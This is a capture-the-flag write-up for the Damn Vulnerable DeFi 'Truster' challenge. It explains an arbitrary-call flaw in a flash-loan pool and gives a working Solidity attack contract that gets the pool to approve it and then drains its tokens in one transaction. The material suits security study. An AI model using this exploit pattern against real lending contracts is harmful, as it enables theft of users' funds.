# Damn Vulnerable DeFi V4 - Truster [toc] ## Intro More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free. The pool holds 1 million DVT tokens. You have nothing. To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account. <br> ## Analysis There's an issue in the flashLoan function - `target.functionCall(data);` - This allows an attacker to ask the `token` to approve attack contract as spender ```sol=20 function flashLoan(uint256 amount, address borrower, address target, bytes calldata data) external nonReentrant returns (bool) { uint256 balanceBefore = token.balanceOf(address(this)); token.transfer(borrower, amount); target.functionCall(data); if (token.balanceOf(address(this)) < balanceBefore) { revert RepayFailed(); } return true; } ``` <br> ## Attack ```solidity= function test_truster() public checkSolvedByPlayer { // Can't pass since is more than 1 tx // bytes memory data = abi.encodeWithSignature( // "approve(address,uint256)", // address(player), // the reason put player here is the vm.startPrank(player), test file will run as player, not address(this) / TrusterChallenge // TOKENS_IN_POOL // ); // pool.flashLoan(0, address(this), address(token), data); // token.transferFrom(address(pool), recovery, TOKENS_IN_POOL); // Put it in a single contract, can execute within 1 tx new AttackContract(pool, token, recovery, TOKENS_IN_POOL); } ... // Abuse the target.functionCall(data); // We can update the victim's allowance mapping by the approve() function // since this is an ERC20 token // allowance[attcker] = TOKENS_IN_POOL contract AttackContract { constructor( TrusterLenderPool _pool, DamnValuableToken _token, address _recovery, uint256 _amount ) { bytes memory data = abi.encodeWithSignature( "approve(address,uint256)", address(this), // will bypass the vm.startPrank() and call it using address(this) _amount ); _pool.flashLoan(0, address(this), address(_token), data); // try to approve AttackContract using console.log(_token.allowance(address(_pool), address(this))); _token.transferFrom(address(_pool), _recovery, _amount); // } } ```